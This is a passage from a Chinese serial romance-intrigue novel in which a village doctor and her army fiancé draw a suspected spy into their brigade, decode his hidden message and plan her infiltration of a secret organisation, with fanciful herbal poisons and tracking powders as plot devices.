他把碗递过来,目光沉沉地看着她。 姜芷默默接过,视线落在碗里那两个荷包蛋上。 一个溏心,一个全熟。 正是她和娘平日里最喜欢的熟度。 这个男人……心思什么时候变得这么细了? “向东啊,你快别忙了,哪有让客人一大早来做饭的道理。”赵秀娥笑得合不拢嘴。 “婶子,我不是客人。” 陆向东立刻反驳,话说得又快又急,说完才发觉不妥,脸上的热度更高了。 他偷偷瞥了姜芷一眼,见她正低头小口吃着荷包蛋,并没有反驳的意思,心里那点紧张顿时变得暖暖的。 吃过早饭,赵秀娥识趣地找借口去了大队部,把空间留给了两个年轻人。 院子里一时安静下来。 “那块地……接下来你打算怎么办?”还是陆向东先开了口。 他已恢复了那种沉稳可靠的团长气场,只是那双眼睛在看着姜芷时,总带着压不住的温度。 “地得养着,急不来。” 说起正事,姜芷也恢复了平日的冷静理智。 “火烧和石灰只能处理表面的阴邪湿气,但地力亏空得厉害,得让它自己缓几天。之后我会让社员们把河泥和牲畜粪肥翻进去,再养个十天半个月,才能开始种东西。” “需要什么,跟我说。” “人手,工具,肥料,只要我能弄到的,都给你弄来。” 姜芷看了他一眼,嘴角微微勾起:“陆团长现在口气可不小。” “给你办事,口气不大点怎么行。”陆向东说得理所当然。 他往前走了一步,高大的身影将姜芷完全笼罩。 “姜芷,我知道你本事大,一个人也能把事情办得妥帖。但你现在不是一个人了。” 他顿了顿,声音压低。 “你还有我。” 姜芷的心脏,被这四个字狠狠撞了一下。 这话的力道,比昨晚那颗糖猛烈百倍。 她有些狼狈地移开视线,看向院里的草药,强装镇定:“我什么时候不是一个人了?” “从你答应给我治病开始,就不是了。” 陆向东的回答快得不假思索。 这简直就是耍无赖。 姜芷又好气又好笑,刚想反驳,李铁就从院门外急匆匆地走了进来。 “团长,姜医生。”李铁敬了个礼,脸色严肃。 “说。”陆向东立刻恢复了军人的姿态。 “我们的人一直盯着县城那个院子。今天早上,院子里出来一个骑自行车的生面孔,他去了黑市,买了不少米面,还有……女人用的雪花膏和红头绳。” 李铁压低声音汇报。 女人的东西? 那个戒备森严的院子里,还有女人? “盯住他,查清那个女人的身份。”陆向东果断下令。 “是!”李铁领命,又补充道,“还有,我们的人发现,这两天,有不少生面孔在咱们红星大队附近晃悠,有几个人眼神不对劲,总往‘鬼见愁’那边瞟。” “鱼儿开始闻到腥味了。”姜芷冷笑一声。 她搞出这么大动静,就是要把那些藏在暗处的眼睛都吸引过来。 现在看来,效果不错。 “让兄弟们都警醒点,别打草惊蛇。”陆向东吩咐道,“把那些人的脸都记下来,查查底细。” “是!” 李铁敬礼后,匆匆离去。 院子里再次恢复了安静。 “看来,你的‘聚宝盆’,很快就要迎来第一批‘贵客’了。” 陆向东看着姜芷,眼神里带着担忧。 “来的不是客,是狼。” 姜芷的眼神也冷了下来。 “不过没关系,我的地盘,是龙得盘着,是虎得卧着。” 这话杀气腾腾,让陆向东都心头一凛。 但随即涌起的,是更强烈的骄傲。 这才是他看上的女人。 冷静,强大,杀伐果决,又心怀慈悲。 他忍不住伸出手,想像昨晚那样。 手伸到一半,又猛地顿住。 姜芷察觉到他的动作,挑眉看他:“陆团长,还有事?” 陆向东的手在半空中尴尬地蜷了蜷,最后若无其事地收回,清了清嗓子。 “我是想说……注意安全。” 憋了半天,就憋出这么一句。 姜芷“扑哧”一声笑了出来。 看来,这男人开窍是开窍了,但火候还差点。 不过,这样也挺好。 “知道了。”她站起身,伸了个懒腰。 初升的朝阳洒在她身上,勾勒出一层金色的轮廓。 “我去看看我的宝贝药材,陆团长自便。” 说完,她转身走进了堂屋。 留下陆向东一个人站在院子里,看着她的背影,紧绷的嘴角,忍不住微微上扬。 ... “养地”的日子,对红星大队的社员们来说,简直是种甜蜜的煎熬。 眼看着那片黑乎乎的“鬼见愁”一天比一天金贵,可姜芷不发话,谁也不敢上去动一锹土。 终于,在火烧石灰净化的第三天,姜芷发话了。 她说,地里的阴邪湿毒虽已祛除,但土地本身元气大伤,如同大病初愈的病人,需要进补。 这“补药”,便是河底的淤泥和村里积攒了一年的牲畜粪肥。 大队长赵大山一听,二话不说,抡起村里的大喇叭,嗓子吼得比铜锣还响。 “全体社员都有!神医发话了!给咱的宝地进补!男人下河挖泥,女人挑粪上山!工分,翻三倍!” 命令一下,整个红星大队彻底疯了。 青壮年“嗷嗷”叫着跳进冰冷的河水里,干得热火朝天。 妇女们捏着鼻子,将黑臭的粪肥一担担挑上山,脚步却比谁都轻快。 整整七天,混着草木灰的沃土被一层层铺上新肥,原本的“鬼见愁”彻底脱胎换骨,成了名副其实的“聚宝盆”。 终于,在第十天,天刚蒙蒙亮,赵大山的大嗓门再次响彻云霄。 “通知!吃完早饭,扛上家伙,村口集合!今天,咱们的聚宝盆,要开耕了!” 整个村子瞬间引爆。 家家户户都跟过年似的,一个个跟打了鸡血一样,扛着农具就往村口冲。 等姜芷和陆向东不紧不慢地走到村口时,黑压压的人群已经把路都给堵死了。 赵大山扯着嗓子,脸红脖子粗地维持着秩序。 “都别挤!排好队!今天上山的人,工分照旧三倍!听神医指挥,谁敢乱来,扣他一年底分!” 这话一出,原本嘈杂的人群,瞬间鸦雀无声。 所有人的目光,齐刷刷地落在姜芷身上。 姜芷脸上没什么表情,只是淡淡地点了点头。 “出发。” 一声令下,浩浩荡荡的队伍,朝着“聚宝盆”开拔。 翻开表层的土,下面是湿润又肥沃的黑土,散发着一股草药和泥土混合的奇异清香。 “神了!这土闻着就得劲!”一个老农抓起一把土,放在鼻子下面闻了闻,一脸陶醉。 “黑得都快流油了!这要是种上庄家,一准儿能长出金棒子来!” 村民们议论纷纷,看着这片土地的眼神,像在看自家的传家宝。 “都安静。” 第81章 把刀尖放枕边,这女人胆子真大 在人群边缘,站着一个三十岁左右的男人。 他身材中等,相貌普通。 穿着一身半旧不新的灰色中山装,手里也拿着一把锄头。 别的村民都在埋头苦干。 只有他,时不时地直起腰,目光不是看地。 而是死死地盯着山坡上指挥众人的姜芷。 陆向东的眼神冷了下来。 他看到男人的那双手。 和周围村民们布满老茧,指甲缝里塞满黑泥的手不同。 那双手,很干净。 不像干活的手。 倒像是常年握笔的手。 几乎是同时。 山坡上的姜芷也停下了讲解,朝这边瞥了一眼。 她和陆向东的视线在空中交汇了一瞬。 无需言语,一个默契已经达成。 “盯死他。” 陆向东吩咐道。 “是!” 李铁和王柱立刻领命。 山坡上,姜芷继续给几个妇女讲解如何区分不同药材的幼苗。 “这个,叶片边缘有细小锯齿的,是地龙籽的苗,两种药性相克,不能种得太近。” 就在她示范着将一株赤阳藤的根茎埋入土里。 那个穿灰色中山装的男人,竟然扛着锄头,朝着她的方向走了过来。 他的脚步很慢,脸上带着谦卑又好奇的笑容,看起来人畜无害。 陆向东的心,瞬间提到了嗓子眼。 他往前迈了一步,手已经按在了腰间。 李铁和王柱也立刻绷紧了身体,做好了随时动手的准备。 姜芷她拍了拍手上的泥土,直起身,看着那个越走越近的男人。 她脸上,甚至还露出了一丝礼貌的微笑。 那男人在离姜芷三步远的位置,停下了脚步。 这是一个经过计算的距离。 既能清晰对话,又不会因过于逼近而引发警惕,显得彬彬有礼。 他先是冲着姜芷露齿一笑,牙齿整齐洁白,配上鼻梁上那副颇具年代感的黑框眼镜,浑身透着一股斯文气。 “这位女同志,你好。” 姜芷淡淡瞥了他一眼,没接话,等着他的下文。 “我叫林木生,是个……植物爱好者。” 男人扶了扶眼镜,从容地自我介绍。 “我从邻县过来,听说了红星大队出了位女神医,能把‘鬼见愁’这种不毛之地,变成种植药材的宝地,心里实在好奇,就特地过来看看。” 一番话,听不出任何破绽。 既解释了来历,又恰到好处捧了姜芷一句。 植物爱好者? 姜芷心里冷笑。 在这个连红薯干都算精粮的年头。 还有人有闲情逸致,跨县跑来当“植物爱好者”? “你好。” 姜芷终于开了口,语气平淡。 “这里没什么好看的,就是大家一起垦点荒地,混口饭吃。” 一句话就将对方高高抬起的“神医”、“宝地”,拽回了“混饭吃”的泥地里,堵死对方继续吹捧的可能。 林木生脸上的笑容,出现了一瞬间的凝滞。 他收集到的情报里,这个姜芷虽医术惊人,但终究是个年轻的乡下丫头,怎么会对恭维无动于衷? “同志谦虚了。” 他迅速调整好表情,目光转向姜芷脚边那片刚种下的药田。 “我刚才看你指导大家种植药材,手法非常专业。” “特别是你说的‘地龙籽’和‘赤阳藤’阴阳相济的理论,简直闻所未闻,让我大开眼界。” “敢问同志,这种种植方法,是出自哪本医书古籍?” “还是……家传的秘法?” 这才是他真正的目的。 试探她的底细。 远处,陆向东的下颌线绷紧了。 他最担心的,就是姜芷的来历。 她那一身本事,完全无法用常理来解释,一旦被有心人深究,后果不堪设想。 然而,姜芷的反应,再次超出了所有人的预料。 她忽然轻笑了一声。 “林同志,你可真会开玩笑。” 她蹲下身,拔起一棵碍眼的杂草,随手扔到一边。 “我们乡下人,大字不识几个,哪看过什么医书古籍。” “至于家传秘法……” 姜芷顿了顿,继续说。 “我们家往上数三代都是贫农,刨土疙瘩的本事是祖传的,种药的秘法,可没有。” 这番话,半真半假,说得坦荡磊落。 直接把对方所有关于“师承”、“来历”的猜测,也给堵得严严实实。 林木生的脸色,这下是真的有些挂不住。 他精心准备的连环拳,全部砸在了一团棉花上。 “那……那你这一身的本事……” 他有些不甘心地追问。 “哦,这个啊。” 姜芷一副恍然大悟的样子,指了指自己的脑袋。 “可能是老天爷看我们家太穷了,赏饭吃吧。” 天赋异禀。 这个解释,比任何编造的谎言都更有力,也更让人无从反驳。 林木生彻底没话说。 看着眼前这个年纪轻轻的女孩,陷入了短暂的挫败。 组织派他来,就是看中他心思缜密,擅长攻心。 可今天,他的本事,在这个乡下丫头面前,竟没讨到半分便宜。 “是我唐突了。” 林木生深吸一口气,重新挂上那副斯文的笑容。 “主要是姜同志你的事迹和理论太过惊人,我一时情难自禁,想与你探讨一二。” “没什么好探讨的。” 姜芷直接摆了摆手。 “我就是瞎琢磨出来的土办法,管用就行。” “你要是真对种地感兴趣,那边还有很多荒地,随便你研究。” 她遥遥一指远处还没开垦的山坡,下了逐客令。 林木生碰了一鼻子灰,脸上的笑容都快要僵住。 但他没有走,眼珠转了转,语气愈发谦卑。 “姜同志,实不相瞒,我这次来,除了好奇,还有一个不情之请。” “说。” “我想……在贵村借住一段时间。” 林木生一脸诚恳。 “你开垦‘聚宝盆’的壮举,对我这个植物研究者来说,有着非凡的意义。” “我想亲眼见证这片土地的变化,记录下这些珍贵的资料。” “这对我个人的研究,乃至对国家未来农业发展,都可能会有巨大的帮助!” 他这番话,说得大义凛然,把自己拔高到了“为国为民”的高度。 陆向东在远处听得眼神发冷。 黄鼠狼想住进鸡圈,还给自己披上了一张“科研报国”的皮,脸皮当真够厚。 他想干什么? 赖在这里,近距离监视姜芷? 陆向东周身的气息骤然变得危险。 只要姜芷流露出半点拒绝的意思。 他会立刻让李铁和王柱跟这个姓林的好好交流交流。 然而,姜芷的回答,让陆向东的心猛地一悬。 “你想住下?” 姜芷非但没有拒绝,反而饶有兴致地打量着林木生,像是在认真考量他的请求。 “是的!” 林木生见有转机,连忙点头。 “我不会白住的!” “我可以付房租,付饭钱,我还有全国粮票!” “而且,我也可以跟着大家一起上山干活,为药田的建设出一份力!” 他开出的条件,对于这个年代的农村来说,相当优厚。 周围竖着耳朵听八卦的村民们,都有点心动了。 “这人看着不像坏人啊,说话文绉绉的。” “是啊,还愿意付钱付粮票,可比那些下乡的知青大方多了。” 大队长赵大山也走了过来。 他看看林木生,又看看姜芷,显然是在等她拿主意。 姜芷沉默了片刻。 就在林木生以为她要拒绝,正在心中快速盘算第二套说辞时,她忽然笑了。 “行啊。” 两个字,轻飘飘的。 林木生整个人都愣住了。 “你……你同意了?” “为什么不同意?” 姜芷理所当然地反问。 “我们红星大队,欢迎所有热爱劳动,支持我们搞建设的朋友。既然林同志有这份心,我们没有理由拒绝。” 她转头,看向闻声走过来的大队长赵大山。 “大山叔,村里不是还有几间空着的知青屋吗?” 第82章 耐心的猎人,着急的猎物 林木生被大队长赵大山领走后,山坡上立刻热闹起来。 “我的乖乖,城里来的文化人,真要住咱村了?” “还给钱给粮票呢!这可是稀罕事!” “我看行!芷丫头同意的,还能有错?” 陆向东没理会那些喧嚣,迈开长腿,几步就站到了姜芷身边。 他什么也没说。 可周身陡然降下的气压,比任何质问都来得更重。 姜芷依旧不紧不慢地用小锄头松着脚下的土。 “怎么,怕我被他吃了?” “这不是玩笑。”陆向东的声音绷紧。 “你把一个底细不明的人放在眼皮子底下,跟把刀尖枕在枕头边上有什么区别?” 姜芷终于停了手,锄头往地上一插。 她转过身,直直对上他燃着火的眸子。 “藏在暗处的毒蛇,和养在透明罐子里的毒蛇,你告诉我,哪个更要命?” 她不答反问。 “他想挖我的底,我还想顺藤摸瓜,看看他背后那个‘青囊阁’,到底是个什么牛鬼蛇神。” 陆向东喉结滚动了一下。 沉默了片刻。 他才缓缓吐出一口浊气,眼神里的焦灼褪去。 “行。那我就做那个玻璃罐的盖子。” …… 另一头,赵大山领着林木生,到了村西头一排早就废弃的知青屋。 窗户纸破了好几个洞,初冬的贼风跟刀子似的往里灌。 屋里空荡荡,只有一张光秃秃的土炕。 墙角挂着陈年蜘蛛网,空气里弥漫着一股尘土和霉味。 林木生镜片后的眉头蹙了一下。 他一个在县城里都住惯了三进院落的人,哪里睡过这种地方。 但他脸上依旧是那副温文尔雅的笑。 “挺好的,有地方落脚就给大队长添麻烦了。” 赵大山吧嗒吧嗒抽着旱烟,一双眼睛看似浑浊,实则精光四射。 他可牢牢记着姜芷那丫头递过来的眼神呢。 “麻烦啥!林同志是文化人,愿意来咱这穷山沟,是看得起咱!” 老汉一边帮着把炕上的灰扫了扫,一边貌似不经意地开了腔。 “你别看咱这儿穷,自打我们芷丫头回来,日子是一天一个样!” “你瞅见村口那台崭新的东方红拖拉机没?芷丫头一句话,部队就给送来了!” “还有县革委会的周主任,市里来的大领导,见了我们芷丫头,那都得客客气气的!” 林木生一听,眼睛骤然一亮。 他此行的目的,就是评估姜芷的价值。 现在看来,这个女人的能量,远比组织情报里描述的还要惊人! “姜同志真是人中龙凤。”林木生顺势捧了一句,试探道,“不知她的医术,是师从哪位国手大家?” 赵大山嘬了口烟,慢悠悠吐出一个浑圆的烟圈,斜着眼看他。 “高人?我们这山沟沟里哪有啥高人。” “我们芷丫头啊,那就是老天爷追着喂饭吃的主儿,天生的!这儿,”他指了指自己的脑门,“灵光!” 那副“这事儿玄乎得很,没法解释”的表情,让林木生直接碰了个软钉子。 他心里暗骂一声老狐狸,面上却笑得更加谦逊。 夜里,寒风呜咽,像是鬼哭。 林木生躺在冰冷僵硬的土炕上,裹紧了散发着霉味的薄被,依旧冻得骨头缝里都在冒寒气。 他第一次,对自己这次的任务,产生了一丝不确定。 ... 初冬的风,像带了刀子,刮得人脸颊生疼。 鬼见愁的山坡上,每天都是一派热火朝天的景象。 经过半个月的苦干,这里已经大变样。 石块垒砌的梯田层层叠叠,从山脚蜿蜒至半山腰,像是给光秃秃的大山打上了一片整齐的补丁。 林木生混在人群中,挥动着锄头,镜片后的眼神有些失焦。 他觉得自己快被这无休止的体力活给废了。 想他一个动动笔杆子,喝喝茶水的体面人,何曾受过这种罪? 手上长满了水泡,旧的磨破,新的又起,血水混着泥污,钻心地又痒又疼。 每天收工,他都累得像条脱水的死狗。 回到那四面漏风的知青屋,晚饭永远是能把嗓子眼儿拉出一道血痕的糙米饭。 这日子,过的不是人生,是牲口。 最让他憋屈的是,整整半个月。 他连姜芷的一根毛都没探到。 每当他想旁敲侧击,得到的回答都如出一辙。 “林同志,你说我们芷丫头啊?她脑瓜子就是灵光!天生的!”一个大娘咧着缺了门牙的嘴,一脸骄傲。 “对对对!老天爷赏饭吃,咱们羡慕不来!”旁边的汉子猛点头,看他的眼神活像在看一个地主家的傻儿子。 林木生不止一次怀疑,整个村子的人是不是都被姜芷下了降头。 最要命的是姜芷那个姓陆的未婚夫。 成天围着姜芷,有这么个煞神盯着,他哪里敢有半点小动作,更别提往外传信了。 这天晚上,姜芷的小院里。 姜芷就着昏黄的煤油灯,在纸上写写画画,那是药田后续的种植规划。 陆向东就坐在她对面的小马扎上,垂着眼,一声不吭地用小刀削着一截木头。 屋里很安静,只有笔尖划过纸张的沙沙声,和木屑掉落的轻响。 “他太安静了。” 姜芷忽然停下笔,头也没抬。 陆向东削木头的手顿住,抬眼看她。 “一条被逼到墙角的老鼠,不该这么安静。” 姜芷放下笔,看向陆向东。 “它不吱声,只可能有一个原因。” 她伸出纤细的手指,点了点陆向东的方向。 “因为墙角蹲着一只猫。猫不走,老鼠是不会探头的。” 陆向东的眸色沉了下去。 他懂了。 姜芷是在说他。 “所以,”姜芷嘴角轻笑,“猫,是不是该挪个窝了?” “不行。” 陆向东想也没想就回绝,声音又沉又硬。 把她一个人留在这头饿狼身边? 想都别想! “陆团长,你这是不相信我的业务能力?” 姜芷挑眉,靠在椅背上,好整以暇地看着他。 “这不是相不相信的问题!” 陆向东的眉头拧成一个疙瘩,语气焦躁。 “我答应过,做那个玻璃罐的盖子。盖子,不能离开罐子。” 姜芷忽然就笑了,循循善诱。 “他现在被你吓得不敢动,我也就看不出他到底想干什么,背后的人更不会有下一步动作。这出戏,还怎么唱下去?” 陆向东沉默了。 他不得不承认,她说的对。 “你只要离开,哪怕只是假装离开,他一定会想办法把消息传出去。” “鱼饵已经撒下去了,总得给鱼咬钩的机会,不是吗?” 看着她笃定又自信的眼睛,陆向东的心,又酸又软。 他知道,自己犟不过她。 这个女人,看着清清冷冷,骨子里却比谁都野,胆子比天还大。 良久,他才从挤出几个字。 “我去镇上。” 这是他最大的让步。 “可以。” 姜芷见好就收,点了点头。 “每天,我都会让李铁悄悄过来一趟。” “行。” “有任何不对劲,立刻点燃后院那堆艾草,不管白天黑夜,我半小时内肯定赶到。” “知道了,陆婆婆。” 姜芷拖长了语调,有点无奈,又有点想笑。 这个男人,真是…… 陆向东被她噎得俊脸一绷,耳根却悄悄红了。 他站起身,把削好的小木簪放到桌上,转身就走。 第二天一早。 陆向东要“回部队”的消息,飞遍了整个红星大队。 村口,那辆绿色的军用吉普车旁,围满了来送行的村民。 “陆同志,路上慢点啊!” “常回来看看啊!” 陆向东跟大队长赵大山和几个村干部握了手。 又深深地看了一眼站在人群里的姜芷。 这才和李铁、王柱上了车。 吉普车发动,在村民们的挥手告别中,扬起一阵尘土,渐行渐远。 人群里的林木生,看着远去的吉普车,扶了扶眼镜,镜片下的狂喜,一闪而过。 压在头顶的大山,终于走了! 他甚至能感觉到,自己连呼吸都顺畅了不少。 接下来的两天,林木生依旧和往常一样,天天下地干活,表现得比谁都积极,脸上那副谦卑的笑容也从没变过。 但姜芷知道,鱼,快要忍不住了。 第三天,夜里。 一轮残月挂在天上,村子里静悄悄的,只能听见几声狗叫。 一道黑影,鬼鬼祟祟地从知青屋溜了出来。 那人影,正是林木生。 他贴着墙根,熟练地避开村里有狗的人家,一路摸到了村外。 在村口那棵歪脖子老槐树下,他停住了脚步。 第83章 乖,听我的,我把自己押给你 两人走到林木生刨过土的地方,用一把工兵铲三两下就挖出了一个被油纸包得严严实实的小纸包。 “团长真是神了,连这孙子会用死信箱的方式联络都算得一清二楚。”王柱压低声音,满眼服气。 李铁没说话,动作麻利地将东西收好。 两人身形一闪,迅速消失在夜色中。 …… 离红星大队几里外,一处废弃的猎人小屋里,一盏微弱的马灯亮着。 陆向东正坐在火堆旁,手里拿着一根树枝,有一下没一下地拨弄着火焰。 他根本没去镇上。 所谓的“回部队”,不过是演给林木生看的一出戏。 把他心尖尖上的人单独留在饿狼身边? 他除非是疯了。 “团长!” 李铁和王柱推门进来,带进一股寒气。 “东西到手了。” 李铁将那个油纸包递了过去。 陆向东打开油纸,里面是一张揉得发皱的旧药方。 上面的字迹潦草,开的都是些头疼脑热的寻常草药,像是乡下赤脚医生随手写的。 只是在“茯苓”、“远志”和“合欢皮”这三味药下面,用笔尖划了三道极浅的横线。 “这是啥玩意儿?”王柱挠了挠头,一脸懵,“一张破药方?这能是啥情报?” 陆向东的眉头拧成了一个疙瘩。 这绝对是情报,但里面的门道,他看不懂。 行军打仗、排兵布阵他是行家。 可这药方里的弯弯绕绕,超出了他的知识范畴。 他抿紧了唇,沉默片刻,将药方递给李铁。 “原样抄录一份。把原物放回去,你们两个轮流盯死,我要看看是谁来取这份情报。” “是!” 陆向东拿着抄录的药方,转身融入黑暗里。 …… 深夜,姜芷的小院。 窗户被极轻地叩响了三下,两长一短。 是他们约定的暗号。 姜芷放下手中的医书,起身开了门。 陆向东带着一身寒气闪了进来。 “你怎么回来了?” 姜芷明知故问,眼底漾开了一丝笑意。 “有东西,看不懂。” 陆向东没有废话,直接将那张皱巴巴的药方递到她面前。 他的表情有些不自然。 一个习惯了掌控一切的男人,第一次在一个姑娘面前,如此直白地承认自己的“无能”。 姜芷接过药方,就着昏黄的煤油灯扫了一眼。 当她的目光落在那三道划痕上时,眸子骤然一缩。 “他写的什么?” 陆向东的声音有些紧绷。 姜芷没有立刻回答,她将药方放到桌上,手指轻轻拂过那三个名字。 “这不是药方。” “这是催命符!” 陆向动的心猛地一沉。 “茯苓,味甘,主胸胁逆气,可开心益气,安魂养神。” 姜芷看着他,慢慢解释。 “这是在说我。医术高超,能安抚人心,有极大的利用价值。” “远志,能益智慧,利九窍。这是说我脑子好,价值很高,值得他们‘远行而来’,亲自来取。” 陆向东的脸色已经变得铁青。 “那……合欢皮呢?” “合欢皮,安五脏,和心志,令人欢乐无忧。” “他的意思是,目标没有攻击性,性情温顺,可以‘合家欢乐’,也就是……可以活捉,整个收入囊中。” 她抬起眼,看向陆向东要喷出火的眼睛,语气却愈发平静。 “他在告诉背后的人,我是一条没有威胁、价值连城的肥鱼。” “而现在,是收网的最好时机。” “砰!” 陆向东一拳砸在土墙上,墙皮簌簌落下。 “他找死!” 姜芷却笑了,拉住他的胳膊,仰头看着他。 “别急。” “鱼要收网,总得有人来才行。” 她的脸色,还带着一丝兴奋。 “陆团长,我想打入青囊阁内部。” 陆向东一愣,随即冷着脸说。 “我不同意!” “你想打入青囊阁内部?姜芷,你知不知道你在说什么!” 男人的怒火快要将这间小屋的屋顶掀翻。 “那是一群吃人不吐骨头的疯子!你把自己送过去,跟羊入虎口有什么区别!” 他气得胸膛剧烈起伏,那只没砸墙的手紧紧攥成了拳头。 姜芷异常平静,甚至还有心情伸出手,抚平了那张被陆向东捏得皱巴巴的药方。 “我知道是虎口。” “可我更知道,如果不把这窝老虎端了,以后还会有更多无辜的羊被他们拖进去撕碎。” 她脸色渐渐沉下来,寒声说。 “从清河村的河神娶亲,到寡妇村的慢性毒,再到木羊村的集体致幻……” “这个所谓的‘青囊阁’,拿活人当药材,拿村庄当试验田,这种事,他们干了不止十年二十年了。” “现在,他们盯上我了。这根线,好不容易才牵到我手里。” “陆向东,如果我放了,你觉得,我们还有第二次机会能摸到他们的老巢吗?” 陆向东的呼吸一窒。 他当然知道没有。 这个组织行事如此诡秘,潜藏如此之深。 如果不是他们这次把主意打到了姜芷身上,专案组可能再查十年都摸不到门道。 可道理是道理,让他眼睁睁看着姜芷去冒险,他做不到! “抓人是我的事!是部队的事!” 陆向东压低声音嘶吼。 “你是个医生!你的任务是救人,不是把自己当成诱饵!” “可他们就是冲着我这个医生来的啊。”姜芷轻笑。 “陆团长,你是不是忘了,我救过你的兵。” “在深山老林里,是谁用一包药粉,就让那群悍匪自相残杀的?” “又是谁,让野猪王乖乖听话,把独眼龙那帮人当成晚餐的?” 她站到他面前,仰头看着这个为她焦灼不安的男人。 “我不是手无缚鸡之力的弱女子,我手里的银针能救人,也能杀人。我有足够的能力自保。” 陆向东看着她的眼睛,心头一软,可嘴上依旧强硬。 “那不一样!那是你知道对手是谁,知道环境如何!” “可这次呢?你会被带去哪儿?面对多少敌人?我不同意,绝不!” 他的态度斩钉截铁,没有一丝商量的余地。 就在陆向东以为她会放弃,或者会继续用道理说服他时。 姜芷却忽然伸出手,轻轻握住了他紧攥的拳头。 她的手很凉,带着初冬的寒意,却又很软,轻轻落在了他心上最滚烫的地方。 “陆向东。” “我不是一个人去。” 陆向东猛地低头看她。 “我打入他们内部,你在外面接应。我们里应外合。” 姜芷看着他的眼睛,无比认真。 “我相信你。” 这四个字,瞬间击中了陆向东最柔软的心防。 “我相信,无论我被带到天涯海角,你都有本事找到我。我也相信,你绝对会把我安然无恙地带回来。” 她握着他的手,微微用力。 “你……是不相信你自己能护住我?还是……不相信我,能等到你来救我?” 简直是诛心的话! 陆向东感觉自己的心脏,又酸又麻。 他一个顶天立地的男人,一个在战场上杀伐果断的团长,此刻在这个姑娘面前,溃不成军。 不相信自己? 他怎么可能不相信自己! 他恨不得现在就把天上的月亮摘下来给她! 他只是怕,万一…… 那万分之一的可能,他都承受不起。 看着男人眼中翻涌的挣扎和痛苦,姜芷的心也跟着揪了一下。 她软下声音,带着撒娇意味。 “陆婆婆,你就答应我吧。这出戏,缺了你这个主角可不行。” “噗。” 陆向东被她这句“陆婆婆”给气笑了。 看着眼前这个狡黠的小狐狸,他心里的那堵墙,终于轰然倒塌。 还能怎么办? 根本就拒绝不了她。 良久,陆向东才叹息一声。 “好……” 他反手握住她的手,掌心滚烫。 “我答应你。” 姜芷的眼睛瞬间亮了。 “但是!”陆向东话锋一转,表情严肃得吓人,“你必须答应我,所有的一切,都必须听我的安排!” “从现在开始,你的安全,由我全权接管!” “他们什么时候动手,用什么方式动手,你被带走后可能会经过的路线,以及你在里面如何与我联系……每一个细节,我们都必须提前计划好,不能有半点疏漏!” 第84章 天罗地网,等你来钻 猎人小屋内,火光跳跃,映着陆向东冷峻的脸。 他从姜芷那儿回来后,没有丝毫犹豫,第一时间从车里拿出军用电台,旋钮转动,刺啦的电流声后,接通了远在千里之外的西南军区司令部。 “报告首长!我是陆向东!” “讲。”电波里传来秦振国沉稳的声音。 陆向东用最精炼的语言,将截获的药方情报和姜芷的计划和盘托出。 “……计划核心,是让姜芷同志作为诱饵,打入敌人内部。” 电波那头,陷入了长久的沉默。 让一个手无寸铁的姑娘去闯狼窝? 这简直是疯了! 良久,秦振国雄浑的声音才再次响起,带着压抑的怒火。 “陆向东,你知不知道你在说什么?” “报告首长,我知道。”陆向东的声音坚定,“这也是目前,唯一能将他们连根拔起的机会。” 又是一阵沉默。 秦振国想起了姜芷在西南边境,是如何凭一己之力,从阎王手里抢回十七条人命的。 也想起了她在面对泼天功劳时,只想要几本旧档案的淡然。 这样的国之瑰宝,岂能有任何闪失! 可……这确实是唯一的办法。 “陆向东!”秦振国猛地提高了音量。 “我只有一个要求!” “保护好她!” “她不光是你的未婚妻,更是我们国家的瑰宝!一根头发丝都不能少!” “是!保证完成任务!” 陆向东吼得青筋暴起。 “我马上协调南湖省军区!”秦司令当机立断,“一支代号‘幽灵’的特种侦察小队,会于后天晚上之前抵达你处,全权由你指挥!” “军区将为你开放最高权限!人、武器、情报!要什么给什么!” “务必!把这颗毒瘤给我挖出来!把我们的国宝,完完整整地带回来!” “是!” 通讯切断,陆向东心里那块最重的石头,终于落了地。 ... 第二天夜里,寒气更重,月亮被薄云遮得严严实实。 大队部后面的旧仓库里,一盏煤油灯豆大的火苗,将两个人的影子拉得老长。 空气里弥漫着陈年谷物和灰尘的味道。 “你娘睡了?”陆向东压低了声音,把手里一个黑乎乎的东西递过去。 姜芷点点头,接过来看了一眼。 是枚纽扣,最普通的那种黑色塑料纽扣。 “这是什么?” “信号发射器。”陆向东的表情紧绷,“有效范围五公里。只要你带着它,我就能锁定你的大致位置。” 他又补充道:“已经请求了技术支援,明天,会有更先进的设备送过来。” 姜芷把玩着那枚纽扣,指尖摩挲着粗糙的塑料表面。 “军用的东西,是不错。” 她话锋一转,从兜里掏出一个小小的油纸包,在陆向东面前摊开。 里面是几根细如牛毛的银针,还有一小撮颜色各异的粉末。 “不过,我也有我的法子。” 陆向东的目光落在那几根银针上,瞳孔缩了一下。 他永远忘不了,当初在山里,就是这样的银针,救了他的命。 “这是?” “追踪标记。” 姜芷捻起一点淡黄色的粉末,在指尖搓了搓。 “这是‘七里香’的花粉,混上‘凤仙花’的汁液。” “无色无味,涂在身上,洒在路上,肉眼根本看不见。” 她勾起嘴角,看着陆向东。 “但是,只要用浸泡过‘问荆草’的布一擦,就会显现出明亮的荧光,哪怕过了三五天,痕迹也还在。” 陆向东的眼皮跳了跳。 这些东西,比他手里的发射器听起来玄乎多了。 “还有这个。” 姜芷又从发髻上抽出一根普普通通的木簪子。 她轻轻一拧簪尾,一根闪着幽蓝光芒的细针弹了出来。 “淬了‘见血封喉’的汁液,稀释过一百倍。扎一下,不会立刻要命,但能让一个壮汉瞬间瘫软,睡上一天一夜。” 陆向东看着那根毒针,喉结上下滚动了一下。 这玩意儿,可比枪好使多。 无声无息,防不胜防。 “还不止。” 姜芷伸出自己的手,指甲修剪得干干净净。 她用簪尖轻轻刮了下指甲缝,挑出一点几乎看不见的灰白粉末。 “这叫‘三日倒’。一种慢性毒。无色无味,混在饭菜茶水里,谁也察觉不了。” “发作起来,上吐下泻,浑身无力,跟得了重感冒一样,但绝对查不出病因。正好方便你们来救我。” 陆向东的脸色已经彻底沉了下来。 他发现自己还是小看了眼前这个姑娘。 “还有这个。” 姜芷变戏法似的又摸出一个小瓷瓶,倒出一粒黑色的药丸,“闭气丸。吞下去,能暂时封闭嗅觉一个小时,什么迷药、瘴气,都对我没用。” 展示完自己的“装备”,姜芷把东西都收好,抬头看向已经呆住的男人。 “陆团长,现在你觉得,是我这套好用,还是你那个纽扣好用?” 陆向东沉默了半晌,才挤出几个字。 “都好用。” “但是,这些东西,我希望你永远都用不上。” 他伸出手,帮她把那根要命的簪子插回头上。 “我们得约定好紧急信号。” “行,你说。” “如果你暴露,情况紧急,就把你随身带的药瓶打碎。” 陆向东盯着她的眼睛。 